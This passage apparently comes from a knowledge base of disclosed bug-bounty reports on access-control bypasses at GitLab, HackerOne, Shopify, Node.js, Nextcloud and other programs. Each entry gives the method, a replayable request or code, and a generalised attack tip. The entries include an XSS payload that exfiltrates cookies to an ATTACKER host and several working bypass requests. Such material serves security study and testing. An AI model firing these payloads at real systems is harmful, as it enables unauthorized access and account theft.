# Replay the captured POST /api/v4/posts with target channel_id
# after the member post permission was removed for that channel
Insight — Permission that is enforced only when the client decides to send a request can be bypassed by request replay. Capture a privileged action while allowed, then replay after revocation or against a context where you lack the right.
Real-world example
Restricted objects leak through a secondary (search) API
◆ Low
Specimen #460815 · gitlab · awarded · 42 votes · resolved
Program gitlabSurface apiTag graphql
Root cause
Per-feature visibility set to project-members-only is enforced on the feature's own endpoints but not on the search API, which returns milestones to non-members.
Method
- Create a public project and set all features to 'Only Project Members'.
- Create a milestone.
- As a non-member, call the search API scoped to milestones for that project id.
curl --request GET --header "PRIVATE-TOKEN: <TOKEN>" "https://TARGET/api/v4/projects/<project-id>/search?search=milestone&scope=milestones"
Insight — Authorization is often re-implemented per endpoint. When a feature is hidden, hit search/export/activity/RSS/GraphQL endpoints for the same objects; secondary read paths routinely miss the visibility filter.
Real-world example
GraphQL Insights aggregate query ignores per-program feature gating
◆ Low
Specimen #397031 · security · awarded · 42 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
An analytics GraphQL query (Insights) enforces the paid-feature gate only at the UI/tab level; replaying the query with an arbitrary program handle returns the top-10 weakness types even for programs that never enabled Insights.
Method
- Open a program that has Insights enabled and capture the POST /graphql Insights query.
- Change the handle_0 variable to a program with no Insights tab.
- Read the _team_weaknesses edges in the response for the top-10 vulnerability types.
{"query":"query Insights($handle_0:String!,...){team(handle:$handle_0){ ...F0 }} fragment F0 on Team { _team_weaknesses(first:10,state:enabled,with_reports:true){ edges { node { weakness { name } report_count } } } }","variables":{"handle_0":"TARGET_HANDLE",...}}
Insight — Feature gating shown in the UI is often not enforced server-side on the underlying GraphQL/API query. Replay premium/analytics queries with other tenant identifiers -- the backend resolver frequently answers regardless of the target's entitlement.
Real-world example
Bulk action endpoint accepts arbitrary object id without ownership check
◆ Low
Specimen #1219011 · security · 500 · 41 votes · resolved
Program securitySurface web
Root cause
A bulk-action endpoint (reports/bulk cancel-disclosure-request) validates that the action is allowed for some report the user controls but does not validate that the submitted report_ids belong to the user, letting a user invoke a privileged action against arbitrary reports and infer their state.
Method
- Trigger a legitimate cancel-disclosure-request on a report you control to capture the request.
- In Repeater, swap report_ids[] to a target report you do not own.
- A 200 with a cancellation confirmation vs an error reveals the target report's disclosure state (used against invite-only programs).
POST /reports/bulk HTTP/1.1
Host: hackerone.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-Token: TOKEN
reply_action=cancel-disclosure-request&reports_count=1&report_ids%5B%5D=TARGET_REPORT_ID&mark_ineligible_for_bounty=false
Insight — Bulk/batch endpoints are a recurring authorization gap: the permission check often runs on the action name, not on each id in the array. Always fuzz the id list of bulk endpoints with objects you shouldn't control and treat differential responses as a state oracle.
Real-world example
Client-side route/menu gating hides owner-only settings that server still serves
◆ Low
Specimen #1174527 · logitech · awarded · 38 votes · resolved
Program logitechSurface webTag account-takeover
Root cause
A delegated admin is hidden from the owner-only 'settings' menu purely on the client; navigating directly to the hash route (dashboard#/settings/...) loads the page and its actions because the server enforces no per-feature authorization while impersonating the owner.
Method
- Owner invites attacker as Administrator (shared access)
- Accept invite and 'act as' the owner
- Observe the settings menu item is hidden in UI
- Manually browse to the hidden route dashboard#/settings/api-settings
- Use the exposed 'Refresh API Access Token' action to rotate the owner's token (breaks their live widgets/stream)
https://streamlabs.com/dashboard#/settings/api-settings (then invoke Refresh API Access Token)
Insight — When a menu item is merely hidden for a role, force-browse the SPA hash/route directly. Delegated-access / 'act as' features frequently gate only the UI, not the backend action.
Real-world example
GraphQL mutation with no server-side permission check + actor-ID spoofing (BFLA)
◆ Low
Specimen #905543 · shopify · awarded · 37 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
A privileged GraphQL mutation (cashTrackingSessionAdjust) trusts the client's session for authorization but performs no server-side capability check, and additionally accepts a client-supplied staffMemberId, letting a low-priv user perform the action and attribute it to any other staff member.
Method
- Create a low-permission staff user with no POS access
- Capture the mutation + the low-priv user's X-Shopify-Access-Token (leaked in POST /admin/api/xauth response)
- Replay the mutation with a valid sessionID and an arbitrary staffMemberId
- Positive amount adds cash, negative removes; entry logged under the spoofed staff member
POST /admin/api/unversioned/graphql
X-Shopify-Access-Token: <low-priv token>
{"query":"mutation CashTrackingSessionAdjust($sessionID: ID!, $money: MoneyInput!, $time: DateTime!, $staffMemberId: ID!, $note: String){ cashTrackingSessionAdjust(cashTrackingSessionId:$sessionID, cash:$money, time:$time, staffMemberId:$staffMemberId, note:$note){ userErrors{field message} cashTrackingSession{id} } }","variables":{"money":{"amount":"500","currencyCode":"INR"},"sessionID":"gid://shopify/CashTrackingSession/<ID>","time":"...","staffMemberId":"gid://shopify/StaffMember/<OTHER_ID>"}}
Insight — Enumerate GraphQL mutations and replay each with a minimal-permission token; many enforce authz only in the UI. Any client-supplied actor/owner ID field (staffMemberId, userId) is a spoofing sink for framing or cross-user actions.
Real-world example
Permission-model path-parsing bypass via Windows UNC prefix assumption
◆ Low
Specimen #2079103 · nodejs · none · 35 votes · resolved
Program nodejsSurface desktop
Root cause
Node's Permission Model (is_tree_granted in fs_permission.cc) assumes any path starting with two backslashes has a fixed 4-char prefix to strip; a crafted UNC-like path breaks that assumption so the granted-tree check passes for a path outside the allowed root (CVE-2024-37372).
Method
- Run Node 20/22 with --experimental-permission --allow-fs-read=C:\*
- Read via a crafted double-backslash path that the parser mis-normalizes
- Observe access instead of ERR_ACCESS_DENIED
node --experimental-permission --allow-fs-read=C:\* -p "fs.readdirSync(Buffer.from('\\\\A\\C:\\Users'))"
Insight — Sandbox/allowlist path checks are brittle on Windows path formats: probe UNC (\\), device (\\?\, \\.\), 8.3 short names, trailing dots/spaces, and mixed separators to slip a normalized path past the grant check. Diff the parser's assumptions against real OS path-format edge cases.
Real-world example
FD-based fs ops bypass path-scoped permission model
◆ Low
Specimen #2590608 · ibb · $249 · 33 votes · resolved
Program ibbSurface other
Root cause
Node.js experimental permission model checks by path, but fs.fchown/fs.fchmod operate on a file descriptor, so a read-only fd lets you change owner/mode without a write grant.
Method
- Run Node with --experimental-permission and only narrow --allow-fs-write
- Open a target file to get an fd
- Call fs.fchmod/fs.fchown on the fd to change perms/owner outside permitted paths
const fd = fs.openSync(target,'r'); fs.fchmodSync(fd, 0o777); // bypasses path permission model (CVE-2024-36137)
Insight — Permission systems that key on names/paths are bypassed by handle-based operations (fd, inode, symlink). When auditing sandboxes, look for the *fd variants of every guarded call.
Real-world example
Client-side field lock bypass: edit a read-only field via the intercepted request
◆ Low
Specimen #2144868 · ibb · awarded · 32 votes · resolved
Program ibbSurface web
Root cause
Apache Airflow (CVE-2023-40611) renders the DAG-run Conf field as read-only/grayed for unauthorized users but the save endpoint (submitting a note) accepts and applies a modified Conf value - the restriction is UI-only.
Method
- As a DAG-view user, open Browse -> DAG Runs and edit a run
- Observe the Conf field is grayed out / non-editable in the UI
- Click Save and intercept the request
- Inject/modify the Conf parameter value in the body and forward
- DAG-run configuration is modified beyond permission
# intercept the DAG-run note/save POST and set:
conf=1111111111111
Insight — Disabled/readonly/grayed form fields are a client-side hint only. Intercept the submit and add or change the locked field; if the server applies it, that is broken access control.
Real-world example
Salesforce Aura/Lightning guest access reads objects without record security
◆ Low
Specimen #1023572 · Acronis · awarded · 31 votes · resolved
Program AcronisSurface web
Root cause
A Salesforce Community (force.com) site had loose object permissions for unauthenticated Guest users; the Aura endpoint's built-in getItems controller could be called directly to dump records (e.g. Event) with no record-level security.
Method
- Grab a template Aura POST to /s/sfsites/aura from any Salesforce community (e.g. a developer-edition site)
- Repoint Host and path to TARGET/<community>/aura
- Set the message action to the built-in selectableListDataProvider getItems controller targeting an object (Event, Case, Account...)
- Submit and read other users' records from the response; raise pageSize for more
POST /acc/aura HTTP/1.1
Host: acronis.secure.force.com
message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"Event","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}
Insight — On any *.force.com / Salesforce Community, test the Aura API with the getItems/getRecord built-in controllers against standard objects (Account, Contact, Case, Event, User). Guest-profile object permissions are frequently misconfigured, giving unauthenticated record dumps (the classic 'Aura leak').
Real-world example
Proxy CONNECT tunnel reuse ignores credentials in shared connection cache
◆ Low
Specimen #3584903 · curl · none · 30 votes · resolved
Program curlSurface other
Root cause
When selecting a reusable connection from a shared cache, the proxy connection matcher compared proxy type/host/port but not the proxy username/password, so a transfer with different (or invalid) proxy credentials could ride an already-authenticated CONNECT tunnel.
Method
- Configure two libcurl transfers sharing one connection cache via CURLSHOPT_SHARE + CURL_LOCK_DATA_CONNECT
- Transfer 1 authenticates to the proxy with good:good and establishes a CONNECT tunnel
- Transfer 2 to the same host:port uses bad:bad credentials
- Observe transfer 2 succeeds and the proxy sees only the first CONNECT (no re-auth); noshare mode correctly fails transfer 2
MODE share
- both requests succeed
- proxy observes only one CONNECT (good:good)
- second request (bad:bad) rides the existing tunnel
// proxy_info_matches() in lib/url.c compares type/host/port, not user/pass
Insight — When auditing connection-pooling / keep-alive layers, check that the connection-reuse key includes ALL security-relevant context (credentials, auth token, TLS client cert, tenant), not just host:port. Mixed credentials across a shared pool = auth-policy bypass in multi-tenant daemons.
Real-world example
Secondary API controller skips share password/permission checks
◆ Low
Specimen #2376909 · nextcloud · awarded · 29 votes · resolved
Program nextcloudSurface apiTag file-upload
Root cause
DocumentAPIController#create resolves a share by token and operates on its node without verifying the share is writable, upload-only, or password-protected, letting an attacker enumerate existing files (via 'File already exists') and write empty files into protected/file-drop shares.
Method
- Create a public share marked as File Drop + password protected
- As attacker call DocumentAPIController#create with the shareToken and a candidate fileName
- 'File already exists' error confirms the file exists (enumeration); otherwise an empty file is written (spam)
POST /apps/richdocuments/api/... create
{ "mimeType":"application/vnd.oasis.opendocument.text", "fileName":"<guess>.txt", "shareToken":"<token>" }
# STATUS 'File already exists' => valid filename in protected share
Insight — When auditing shared/multi-tenant resources, map every controller that touches a share, not just the main download flow. Secondary/import/create endpoints frequently resolve the share object but forget to re-apply the writable/upload-only/password gates the primary flow enforces.
Real-world example
Bypass client-side-only immutability by replaying the GraphQL mutation
◆ Low
Specimen #1139528 · security · none · 29 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The UI disables editing of records once they reach a submitted/locked state, but the backing GraphQL mutation performs no server-side state/authorization check, so replaying the mutation directly modifies data the application treats as immutable (submitted pentest answers, non-draft CVE requests).
Method
- Perform the action while editing is still allowed and capture the update mutation (operation name, input shape, target object id).
- Advance the record to the state where the UI disables the form (submitted / pending-approval / cancelled).
- Replay the captured mutation with a new value and the locked record's id (GID often base64-encoded, e.g. gid://hackerone/CveRequest/1439).
- Confirm the 'immutable' record changed.
POST /graphql HTTP/1.1
Host: hackerone.com
content-type: application/json
X-Auth-Token: <token>
{"operationName":"UpdatePentestFormAnswer","variables":{"pentestFormAnswerId":"<locked-id>","content":"attacker edit"},"query":"mutation UpdatePentestFormAnswer($pentestFormAnswerId: ID!, $content: String!) { updatePentestFormAnswer(input: {pentest_form_answer_id: $pentestFormAnswerId, content: $content}) { was_successful pentest_form_answer { id content } } }"}
// Variant (813300): updateCveRequest replayed against a Pending/Cancelled request id
// cve_request_id base64: gid://hackerone/CveRequest/1439
Insight — A greyed-out/disabled form is a client-side control only. For every workflow that 'locks' a record after a state transition, replay the underlying mutation against the locked id: server-side state/immutability is frequently unenforced. Decode base64 GraphQL global IDs to target specific objects.
Real-world example
Exported activity loads attacker HTML/URL into internal WebView with app cookies
◆ Low
Specimen #532836 · exness · USD 400 · 26 votes · resolved
Program exnessSurface mobile-androidTag account-takeover
Root cause
A third-party SDK's exported Android activity (SMFeedbackActivity) read attacker-supplied intent extras (smSPageURL / smSPageHTML) and rendered them in an internal WebView that shares the trading app's cookies, giving universal XSS and cookie theft.
Method
- Decompile the APK; find an exported activity with an intent-filter (no permission)
- See it reads intent extras smSPageURL/smSPageHTML and loads them into a WebView
- From a malicious app, send an intent with attacker HTML/URL to that activity
- WebView runs attacker JS in the app origin and can exfiltrate app/payment cookies
Intent i = new Intent();
i.setClassName("com.exness.android.pa",
"com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity");
i.putExtra("smSPageHTML", "<script>fetch('//ATTACKER/?c='+document.cookie)</script>");
i.putExtra("smSPageURL", "https://ATTACKER");
startActivity(i);
Insight — Audit AndroidManifest for exported activities/services and trace intent extras into WebView.loadData/loadUrl. Attacker-controlled URL or HTML in an app-context WebView = universal XSS and cookie theft. Third-party SDKs are frequent offenders.
Real-world example
authenticity_token=0 bypasses authz/CSRF to link and view connected accounts
◆ Low
Specimen #1672614 · stripe · USD 250 · 26 votes · resolved
Program stripeSurface web
Root cause
A member-privilege TaxJar user could view activated linked accounts and connect new cart integrations by sending a GET to /auth/[CART] with authenticity_token=0, i.e. the authorization/anti-CSRF check accepted a trivial token value.
Method
- As a low-privilege member account, identify the account-linking route /auth/[CART-NAME]
- Send GET /auth/[CART-NAME]?authenticity_token=0
- Cart integration (Shopify, Xero, QuickBooks, Stripe, etc.) is linked / linked accounts disclosed
GET /auth/shopify?authenticity_token=0
GET /auth/quickbooks?authenticity_token=0
Insight — Test placeholder/zero/empty values (0, null, empty, reused) for CSRF/authenticity tokens; some backends only check presence, not validity. Combine with a low-privilege session to find member-vs-admin authorization gaps on integration endpoints.
Real-world example
Reach a UI-hidden/gated feature by calling its API directly
◆ Low
Specimen #1691603 · linkedin · awarded · 26 votes · resolved
Program linkedinSurface api
Root cause
A feature restricted for unverified users is hidden only in the UI; the backend API endpoint performs no verified-user check, so replaying the request with an unverified account's cookie succeeds.
Method
- Note the feature (Newsletter creation) is absent from the UI for an unverified account
- On a verified account, perform the action and capture the API request
- Replay POST /voyager/api/publishing/contentSeries with the unverified account's cookie/CSRF
- Newsletter is created despite the account being unverified
POST /voyager/api/publishing/contentSeries HTTP/2
Host: www.linkedin.com
Csrf-Token: ajax:<unverified-user-token>
Content-Type: application/json; charset=utf-8
{"title":"x","description":"y","publishFrequency":{"duration":2,"unit":"MONTH"},"inviteTargetAudiences":true,"logoUrn":"urn:li:digitalmediaAsset:<id>"}
Insight — 'Hidden in UI' is not access control. For every account-state or tier gate, capture the underlying API call from a privileged/verified account and replay it from the restricted one - the server often never re-checks.
Real-world example
Disabled/suspended account still usable via GraphQL
◆ Low
Specimen #608656 · security · awarded · 24 votes · resolved
Program securitySurface graphqlTag graphqlTag account-takeover
Root cause
Account 'disabled' state is enforced only in the web UI (redirect to reactivation page); the /graphql API never checks the state, so a disabled account can still query and mutate its data.
Method
- Log into a disabled account (UI forces reactivation page)
- Grab a recent /graphql request from Burp history
- Replay it in Repeater with the disabled account's X-Auth-Token/cookie
- Run arbitrary queries/mutations (read sessions, regenerate calendar token, add PayPal payout method)
POST /graphql? HTTP/1.1
Host: hackerone.com
X-Auth-Token: ...
Content-Type: application/json
{"query":"query {me{id username}}"}
# also: Regenerate_calendar_token_mutation, Create_paypal_preference_mutation
Insight — When a UI blocks an account state (disabled/locked/pending-verification), test whether the API/GraphQL layer re-enforces it - state gating is frequently a client-side redirect only.
Real-world example
Badge endpoints bypass pipeline access control (GitLab CVE-2019-5463)
◆ Low
Specimen #477222 · gitlab · awarded · 24 votes · resolved
Program gitlabSurface webTag api
Root cause
GitLab CI badge routes (badges/<branch>/pipeline.svg, coverage.svg) served build/coverage status without honoring restricted/disabled pipeline visibility, leaking status to unauthenticated/guest users.
Method
- Find a project with restricted or disabled pipeline visibility
- Request the badge SVG for any branch unauthenticated
- Read the build status/coverage it encodes
https://TARGET/group/proj/badges/master/pipeline.svg
https://TARGET/group/proj/badges/master/coverage.svg
Insight — Auxiliary/embeddable endpoints (badges, .svg, oEmbed, RSS/.atom, .ics) frequently skip the resource's main authz; enumerate them for private-state leakage.
Real-world example
UI-hidden action still accepted by endpoint (forced request)
◆ Low
Specimen #412988 · security · awarded · 23 votes · resolved
Program securitySurface web
Root cause
The mediation-request action is removed from the UI once a report is published, but the backing endpoint /reports/<id>/hacker_help still processes the POST, so the state-based restriction exists only client-side.
Method
- Observe an action that the UI removes/greys out in a given object state
- Capture the request that the action would send
- Replay it directly against the endpoint for an object in the restricted state
POST /reports/<published_report_id>/hacker_help HTTP/1.1
Host: hackerone.com
message=123&mediation_type=unresponsive
Insight — When the UI hides/disables an action based on object state, re-send the underlying request directly - server-side often lacks the matching state guard (a UI/endpoint discrepancy).
Real-world example
Shopify admin GraphQL missing function-level authorization (BFLA)
◆ Low
Specimen #528940 · shopify · awarded · 23 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
Shopify admin GraphQL endpoints enforce staff permissions in the UI but not in the resolver, so a staff member with no/low explicit permissions can invoke privileged queries and mutations by sending the GraphQL request directly.
Method
- Log in as a staff account with minimal/no permissions
- Capture any authenticated admin GraphQL request (endpoint + CSRF token)
- Swap operationName/query to a privileged operation (introspect to enumerate)
- Send directly to the internal GraphQL endpoint
POST /admin/api/graphql HTTP/1.1
Host: SHOP.myshopify.com
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
{"operationName":"ActivityFeed","variables":{"first":20},"query":"query ActivityFeed($first:Int!){staffMember{privateData{activityFeed(first:$first){edges{node{author createdAt messages topic}}}}}}"}
# also seen: billingChargesExport (#1010835), templateInstall/workflowActivate on /admin/internal/web/graphql/flow (#1521336)
Insight — With a low-priv staff/tenant account, enumerate GraphQL operations via introspection and replay privileged queries/mutations directly - permission checks that exist in the SPA are routinely absent server-side (classic BFLA).
Real-world example
Asymmetric authz: create blocked but edit/delete allowed
◆ Low
Specimen #431633 · shopify · 500 · 22 votes · resolved
Program shopifySurface webTag webhook
Root cause
Permission checks are enforced on the create action for Order webhooks (403 for Settings-only staff) but the update and delete actions on existing Order webhooks lack the same check, so low-permission staff can modify/delete objects they cannot create.
Method
- As low-permission (Settings-only) staff confirm create is blocked (403)
- Have an owner create the privileged object (Order Creation webhook)
- As the same low-perm staff open and edit the webhook URL, save
- Also delete it - both succeed despite the create restriction
# create -> 403 'You do not have permission to create webhooks with orders/create'
# but edit/delete of an existing Order webhook succeeds for Settings-only staff
Insight — Never assume authz is uniform across CRUD verbs on the same resource - if create is blocked, test read/update/delete separately; checks are often wired to one action only.
Real-world example
GraphQL mutation error is cosmetic; write side-effect still commits (BFLA)
◆ Low
Specimen #1102652 · shopify · awarded · 21 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
staffOrderNotificationSubscriptionCreate/Delete enforce scope on the field response but not on the underlying write; a Settings-only staff triggers the state change and receives an 'Access denied' error that masks the successful mutation.
Method
- Log in as low-scope staff (Settings only, no Orders)
- Send the create mutation to the internal GraphQL endpoint
- Observe an access-denied error in the response
- Reload /admin/settings/notifications as admin and confirm the recipient was actually added/deleted
POST /admin/internal/web/graphql/core?operation=SwitcherNoStores
{"query":"mutation{staffOrderNotificationSubscriptionCreate(notificationRecipientIdentifier:\"attacker@evil.com\",notificationRecipientType:EMAIL){staffOrderNotificationSubscription{id}}}"}
// delete variant:
{"query":"mutation{staffOrderNotificationSubscriptionDelete(staffOrderNotificationSubscriptionId:\"gid://shopify/StaffOrderNotificationSubscription/<ID>\"){userErrors{message}}}"}
Insight — Never trust an access-denied error to mean the operation failed: authorization checks that gate the response serializer often run AFTER the side-effecting resolver. Always verify state out-of-band after a 'denied' mutation.
Real-world example
Electron renderer reaches Bluetooth without a permission handler (CVE-2022-21718)
◆ Low
Specimen #1519099 · ibb · USD 480 · 20 votes · resolved
Program ibbSurface desktopTag account-takeover
Root cause
Electron's default configuration grants navigator.bluetooth access to renderer content when the app has not registered a select-bluetooth-device handler, so untrusted content in a renderer gets read/write to a nearby device.
Method
- Run an Electron app (vulnerable version) that loads remote/untrusted content in a renderer
- From that renderer/devtools call the Web Bluetooth API
- Receive a device object instead of a permission error
await navigator.bluetooth.requestDevice({acceptAllDevices: true})
Insight — For Electron/embedded-webview targets, probe powerful web platform APIs (Bluetooth, USB, Serial, media) from renderer content: secure-by-default is often only true if the app wired up the corresponding permission event handler.
Real-world example
Order-by on a restricted field as an oracle for hidden data
◆ Low
Specimen #955286 · security · awarded · 20 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
GraphQL reports query allows order_by on jira_status, a field the caller has no read access to; sorting by it changes total_count and duplicates rows, leaking whether/which reports are Jira-linked despite the field being nulled in output.
Method
- Run the reports query ordered by an allowed field (id) and record total_count
- Re-run the identical query ordered by the restricted field (jira_status)
- Diff total_count and node ordering; discrepancies/duplicates reveal the hidden field's state even though it returns null
{ reports(where:{team:{handle:{_eq:"TARGET"}}}, order_by:{direction:ASC, field:jira_status}){ total_count nodes{ jira_escalation_state } } }
# compare total_count vs order_by field:id
Insight — Authorization on output fields is not enough - sortable/filterable parameters over a restricted column form a side channel. Test order_by/where against every field, including ones nulled in the response, and watch total_count and row ordering as an oracle.
Real-world example
Permission model bypass via fd-based fchown/fchmod
◆ Low
Specimen #2472071 · nodejs · none · 20 votes · resolved
Program nodejsSurface otherTag account-takeover
Root cause
Node.js permission model checks paths but not file descriptors; fs.fchown/fs.fchmod on a read-only fd change owner/mode of the file, escaping the model even without --allow-fs-write on that path (CVE-2024-36137).
Method
- Open a file with a read-only fd under the permission model
- Call fs.fchown or fs.fchmod on that fd
- Owner/permissions change despite lacking write grant
const fd = fs.openSync('/target','r');
fs.fchmodSync(fd, 0o777);
fs.fchownSync(fd, uid, gid);
Insight — Sandbox checks anchored on path strings miss descriptor-based syscalls. When auditing a capability model, enumerate every API that acts on an already-open handle (fd, socket, inherited resource) - those often skip the path-level gate.
Real-world example
Bypass comment restriction via less-restricted sibling endpoint
◆ Low
Specimen #365504 · valve · awarded · 20 votes · resolved
Program valveSurface web
Root cause
Steam disabled commenting on Workshop items you don't own in the UI, but the comment-post endpoint used for the unrestricted Artwork section accepted arbitrary contributor/file/app ids, so posting via that endpoint targeted the restricted Workshop item.
Method
- Read the restricted Workshop item source and note contributor id, app id, file id.
- Post a comment on any Artwork (allowed) and intercept the request.
- Swap the URL profile/file id and body extended_data (contributor id, app id, count) to the Workshop item's values and forward.
- Comment lands on the Workshop item despite the disabled comment box.
# post to the artwork comment endpoint, then rewrite:
# URL: contributor id + file id -> workshop item
# body extended_data: contributor id + app id -> workshop item, count = current comment count
Insight — When a restriction is enforced only on one entry point, look for a sibling endpoint acting on the same object type with weaker checks. The object id is the same; only the route's authz differs.
Real-world example
Aggregate warnings endpoint ignores per-object permissions
◆ Low
Specimen #2208647 · ibb · USD 540 · 19 votes · resolved
Program ibbSurface apiTag account-takeover
Root cause
Airflow /api/v1/dagWarnings returns warnings and import stack-traces for all DAGs without filtering by the caller's per-DAG read permission (CVE-2023-42780).
Method
- Create a role with read on a single DAG plus 'read warnings'
- Assign it to a user and authenticate
- GET /api/v1/dagWarnings
- Receive dag_ids and stack traces for DAGs you cannot otherwise see
GET /api/v1/dagWarnings HTTP/1.1
Host: target:8080
Accept: application/json
Cookie: session=<low-priv-session>
Insight — List/aggregate/status endpoints (warnings, metrics, audit, health, notifications) commonly forget the per-object ACL that detail endpoints enforce. Always hit the collection endpoint from a minimally-scoped role and check for cross-object leakage.
Real-world example
Unprotected Android broadcast receiver (missing broadcastPermission)
◆ Low
Specimen #1596459 · nextcloud · none · 19 votes · resolved
Program nextcloudSurface mobile-androidTag account-takeover
Root cause
registerReceiver is called without the broadcastPermission argument, so no permission is enforced and any installed app can send intents the receiver acts on (CVE-2022-4192).
Method
- Decompile the app and find registerReceiver(...) calls lacking a permission argument
- Identify the actions/extras the receiver handles
- From a malicious app, send matching broadcasts to drive the receiver (e.g. interfere with call start / audio-bluetooth setup)
// malicious app
Intent i = new Intent("<action the receiver listens for>");
i.setPackage("com.nextcloud.talk2");
sendBroadcast(i);
// vulnerable registration:
context.registerReceiver(receiver, filter); // missing broadcastPermission
Insight — On Android, grep decompiled code for registerReceiver / exported receivers without a signature-or-custom permission. Runtime-registered receivers with no broadcastPermission are reachable by any app - a cheap, common IPC access-control bug.
Real-world example
Undocumented GraphQL endpoints missing permission checks (BFLA)
◆ Low
Specimen #1044869 · shopify · USD 600 · 18 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
Shopify's internal GraphQL exposes a Promotions query and applicablePromotionAccept mutation that lack a permission check, so staff with no permissions can list and accept billing promotions.
Method
- Discover undocumented operations by inspecting the app's GraphQL traffic within a settings scope
- As a no-permission staff, send the Promotions query
- Send the applicablePromotionAccept mutation with a promotion gid to act on billing
POST /admin/internal/web/graphql/core
X-Csrf-Token: <token>
X-Shopify-Web-Force-Proxy: 1
{"operationName":"Promotions","query":"query Promotions{shop{id applicablePromotions{id amount{amount currencyCode} promotionType}}}"}
{"operationName":"applicablePromotionAccept","variables":{"id":"gid://shopify/ApplicablePromotion/<ID>"},"query":"mutation applicablePromotionAccept($id:ID!){applicablePromotionAccept(id:$id){userErrors{field message}}}"}
Insight — Harvest operationName strings from the app bundle and traffic, then replay every query/mutation with a zero-permission account. Undocumented/internal GraphQL operations are routinely shipped without the authorization checks the documented UI paths have.
Real-world example
Unprotected exported Android BroadcastReceiver drives in-app UI
◆ Low
Specimen #394332 · vkcom · awarded · 18 votes · resolved
Program vkcomSurface mobile-android
Root cause
A dynamically-registered BroadcastReceiver with no permission is implicitly exported; any app can broadcast the action to render an in-app modal with attacker-controlled title/text and an image fetched from an attacker URL.
Method
- App registers receiver for action com.vk.quiz.action while visible
- Any unprivileged app (or adb) broadcasts a crafted intent with the modal extras
- Victim app renders spoofed dialog and fetches the attacker image URL
adb shell am broadcast -a com.vk.quiz.action --es action "com.vk.quiz.action.message.modal" --es title "more_then_title" --es text "more_then_text" --es image "https://attacker.example/logo.png"
Insight — Grep registerReceiver()/manifest receivers for exported components without a signature/permission. Unprotected receivers enable spoofed UI/phishing and can proxy network fetches through the victim app (e.g. from an app lacking INTERNET permission).
Real-world example
Secret token leaks via Referer + iframe embed bypasses client-side password gate
◆ Low
Specimen #1262434 · shopify · 500 · 17 votes · resolved
Program shopifySurface web
Root cause
The theme-preview access token (oseid) is carried in the storefront URL and leaks via the Referer header to third-party share targets; separately, embedding the storefront with ?oseid=<token> in an iframe bypasses the client-side JS redirect that enforces the storefront password.
Method
- In the theme editor preview, click a social-share icon; capture the outbound request whose Referer contains ...?oseid=<token>
- From a clean session facing the password page, inject an iframe pointing at the storefront with the leaked oseid
- Browse the store inside the iframe past the password gate
let shopHandle='victim-shop', oseid='oseid-1234';
const iframe=document.createElement('iframe');
iframe.src=`https://${shopHandle}.myshopify.com/?oseid=${oseid}`;
iframe.style.position='absolute'; iframe.style.top=iframe.style.left=0;
document.body.appendChild(iframe);
Insight — Secrets placed in URLs leak via Referer to any outbound link/third party. Access gates enforced only by a client-side JS redirect are bypassed by framing the target. Fix is Referrer-Policy: same-origin plus server-side enforcement.
Real-world example
Cross-report attachment reference via unvalidated attachment_ids[]
◆ Low
Specimen #129773 · security · awarded · 17 votes · resolved
Program securitySurface webTag file-upload
Root cause
A report's attachment_ids[] are trusted without checking that the current user owns the referenced attachment; any known numeric attachment ID can be attached to a new draft, and the markdown renderer will re-link it.
Method
- Upload a file to a comment/report and read its numeric id from the POST /attachments JSON response ({"id":84577,...}) or from the S3 path segments (.../000/084/579/...).
- Open a new report to another program and let the draft autosave hit POST /<program>/reports/draft_sync.
- Replay draft_sync with report[attachment_ids][]=<victim_file_id> and reference F<victim_file_id> in vulnerability_information.
- Reload the new-report page: the markdown parser resolves F<id> into a direct link to the file, and the original comment's copy of the file is detached/deleted.
report%5Btitle%5D=&report%5Bvulnerability_information%5D=F84577&report%5Battachment_ids%5D%5B%5D=84577&report%5Bforce%5D=false
Insight — When an app references user content by a guessable/leaked numeric ID (attachments, uploads, drafts), test whether the reference is ownership-checked. IDs leak in JSON responses and in storage (S3) path segments.
Real-world example
Preview/magic link not invalidated on credential change
◆ Low
Specimen #1370749 · shopify · awarded · 16 votes · resolved
Program shopifySurface web
Root cause
A storefront preview link (preview_theme_id) remains valid after the storefront password is changed; only closing and re-enabling password protection rotates it.
Method
- With the current password, read the theme id (search shopify.theme in devtools)
- Build the preview URL with preview_theme_id
- Owner changes the storefront password; the old preview link still grants access
https://your-store.myshopify.com/?_ab=0&_fd=0&_sc=1&preview_theme_id=<THEME_ID>
Insight — Preview/share/magic links and pre-auth tokens must be rotated when the underlying credential changes. Always test whether an old preview/share token survives a password reset or membership change.
Real-world example
Path-normalization ACL bypass via leading double slash
◆ Low
Specimen #1829170 · exness · awarded · 16 votes · resolved
Program exnessSurface apiTag account-takeover
Root cause
Server-side authorization/route restrictions match on the exact path, but prepending an extra slash (//api/v2/...) is normalized by the backend to the same route after the restriction check, so a forbidden (403) endpoint becomes reachable.
Method
- Find an endpoint the current role is denied (403).
- Prepend `//` (or `/./`, `/%2e/`, trailing-slash variants) to the path and resend with the same auth.
- If the action succeeds, the ACL layer and the router disagree on path normalization.
POST //api/v2/autorebates/groups/ HTTP/2
Host: my.TARGET
Authorization: JWT xyz
Content-Type: application/json
{"group_title":"Test"}
Insight — Reverse proxy / gateway ACLs and the app router often normalize paths differently. Fuzz path-confusion variants (//, /./, /%2e/, ;, trailing /, case, encoded slashes) against any 403 endpoint - a common way to bypass WAF/route-based authorization.
Real-world example
Hidden UI action still works via forged request
◆ Low
Specimen #1167929 · nextcloud · 500 · 15 votes · resolved
Program nextcloudSurface web
Root cause
Nextcloud hides the 'add to your Nextcloud' (federated share) action for file-drop public links in the UI but the server endpoint still honors a hand-crafted request, converting a drop link into a federated share (CVE-2021-32655).
Method
- Obtain a file-drop public link and its share token
- POST directly to the federatedfilesharing createFederatedShare endpoint with the token
